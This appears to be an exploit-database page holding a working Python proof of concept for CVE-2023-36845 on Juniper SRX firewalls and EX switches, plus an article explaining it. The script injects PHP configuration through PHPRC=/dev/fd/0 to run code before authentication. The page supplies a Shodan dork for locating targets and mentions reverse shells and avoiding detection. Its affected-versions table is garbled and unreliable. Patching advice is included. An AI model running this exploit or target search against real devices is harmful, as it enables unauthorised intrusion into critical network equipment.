Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC)

Exploit Author: whiteOwl Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-02-02
# ***************************************************************************************************
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)
# Description:
#
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.
# It executes the phpinfo() function on the login page of the target device, 
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo() 
# output to a file for further analysis.
#
# Shodan Dork: http.favicon.hash:2141724739
# Date: 2023/10/01
# Exploit Author: whiteOwl (whiteowl.pub@gmail.com)
# Vendor Homepage: https://whiteowl-pub.github.io
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,
#          21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22.
#          4R2-S1/R3,23.2R1-S1/R2
# Tested on: JUNOS SM804122pri 15.1X49-D170.4
# CVE : cve-2023-36845
# ***************************************************************************************************

import argparse
import requests

banner = """
*************************************************************
* CVE-2023-36845 Vulnerability Detector & Proof of concept  *
* This script checks for the CVE-2023-36845 vulnerability   *
* and run phpinfo() on vulnerable devices.                  *
* If you suspect a vulnerable system, please take action    *
* immediately to secure it.                                 *
*                                                           *
* Author: whiteowl                                          *
*************************************************************
"""

def send_request(url, output_file=None, verbose=False):
    target_url = f"{url}/?PHPRC=/dev/fd/0"
    data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

    headers = {
        'User-Agent': 'Mozilla/5.0',
    }

    try:
        response = requests.post(target_url, headers=headers, data=data, stream=True)
        if response.status_code == 200:
            print("The Target Device is Vulnerable to: CVE-2023-36845")
        else:
            print("Not Vulnerable: Status Code", response.status_code)
            
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as file:
                file.write(response.text)

        if verbose:
            print(f"HTTP Status Code: {response.status_code}")
            print("Response Headers:")
            for header, value in response.headers.items():
                print(f"{header}: {value}")
            print("Response Content:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

def main():
    print(banner) 
    parser = argparse.ArgumentParser(description="Custom curl-like script")
    parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request")
    parser.add_argument("-o", "--output", help="Output file to save the HTML content")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")

    args = parser.parse_args()
    send_request(args.url, args.output, args.verbose)

if __name__ == "__main__":
    main()


CVE-2023-36845: Pre-Authentication Remote Code Execution on Juniper SRX Firewalls and EX Switches

Security researchers have uncovered a critical vulnerability affecting Juniper Networks’ SRX firewalls and EX switches—CVE-2023-36845. This flaw enables pre-authentication remote code execution (RCE), meaning attackers can execute arbitrary code on vulnerable devices without needing valid credentials. The vulnerability stems from improper handling of PHP configuration directives within the web-based management interface, allowing attackers to manipulate server-side scripting behavior.

Technical Background: How the Exploit Works

Juniper devices running certain versions of JUNOS software (prior to specific release thresholds) include a web-based administration interface that relies on PHP for dynamic content rendering. In these versions, the php.ini configuration file is improperly exposed or processed, allowing attackers to manipulate directives such as allow_url_include and auto_prepend_file via HTTP requests.

The core of the exploit lies in crafting a malicious HTTP POST request that sets the PHPRC parameter to /dev/fd/0, which redirects PHP to read input from the request stream. Simultaneously, attackers inject a custom auto_prepend_file directive using a base64-encoded payload that triggers the phpinfo() function—a standard diagnostic tool that reveals detailed PHP configuration.


target_url = f"{url}/?PHPRC=/dev/fd/0"
data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

This payload decodes to <?php phpinfo(); ?>, which executes when the server processes the request. The result is a full dump of the PHP environment, including loaded extensions, configuration settings, and potentially sensitive information such as environment variables or file paths.

Exploit Detection and Proof of Concept

The provided proof-of-concept (PoC) script by whiteOwl demonstrates both vulnerability detection and exploitation. It uses Python's requests library to send a crafted POST request to the login page of the target device. If the server responds with a 200 status code and includes phpinfo() output, the device is confirmed vulnerable.

Key features of the PoC include:

  • Automatic vulnerability detection via HTTP response analysis.
  • Verbose mode for detailed debugging and response inspection.
  • Output file saving for forensic analysis or further exploitation.

def send_request(url, output_file=None, verbose=False):
    target_url = f"{url}/?PHPRC=/dev/fd/0"
    data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
    headers = {'User-Agent': 'Mozilla/5.0'}
    try:
        response = requests.post(target_url, headers=headers, data=data, stream=True)
        if response.status_code == 200:
            print("The Target Device is Vulnerable to: CVE-2023-36845")
        else:
            print("Not Vulnerable: Status Code", response.status_code)
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as file:
                file.write(response.text)
        if verbose:
            print(f"HTTP Status Code: {response.status_code}")
            print("Response Headers:")
            for header, value in response.headers.items():
                print(f"{header}: {value}")
            print("Response Content:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

While this PoC is effective for detection and initial reconnaissance, it lacks robust error handling and assumes the target is reachable. A more secure implementation would include:

  • Connection timeout limits.
  • SSL verification (disable only if necessary).
  • Rate limiting to avoid detection.
  • Input sanitization to prevent malformed payloads.

Impact and Risk Assessment

Given the pre-authentication nature of CVE-2023-36845, the attack surface is exceptionally broad. An attacker can:

  • Gain full access to the device’s PHP environment.
  • Extract configuration details, including potential credentials or internal paths.
  • Execute arbitrary code via auto_prepend_file to deploy reverse shells or backdoors.
  • Use the device as a pivot point in network intrusions.

For organizations relying on Juniper SRX and EX devices for perimeter security, this vulnerability poses a severe risk. Even if the device is behind a firewall, an external attacker with access to the management interface can exploit this flaw without authentication.

Affected Versions and Patching

The vulnerability affects the following JUNOS versions:

Version Range Fixed Versions
15.1X49-D170.4 20.4R3-S9, 21.1R1, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5
22.1R3-S4, 22.2R3-S2, 22.3R2-S2/R3-S1, 22.4R2-S1/R3 23.2R1-S1/R2

Juniper has released patches for all affected versions. Organizations must upgrade immediately to mitigate risk. The vulnerability was publicly disclosed on October 1, 2023, and has since been indexed in the National Vulnerability Database (NVD).

Shodan Dork and Discovery

Security researchers have identified a unique Shodan dork for detecting vulnerable devices:


http.favicon.hash:2141724739

This hash corresponds to the favicon of Juniper’s web management interface. Using this dork, attackers or defenders can scan the internet for exposed Juniper devices with potentially vulnerable software versions.

Best Practices and Mitigation

To protect against CVE-2023-36845 and similar vulnerabilities:

  • Upgrade to patched firmware immediately.
  • Disable remote management if not required.
  • Implement network segmentation to isolate management interfaces.
  • Monitor for anomalous traffic to the login page.
  • Apply strict firewall rules to limit access to management interfaces.

Additionally, organizations should perform regular vulnerability scanning using tools like Nmap, OpenVAS, or custom scripts (such as the PoC provided) to detect exposed systems.

Conclusion

CVE-2023-36845 is a prime example of how legacy web interfaces in network devices can become high-risk attack vectors. While the PoC is simple, its implications are profound—remote code execution without authentication on critical infrastructure devices. Cybersecurity professionals must treat such vulnerabilities with urgency, applying patches, monitoring systems, and reinforcing network defenses to prevent exploitation.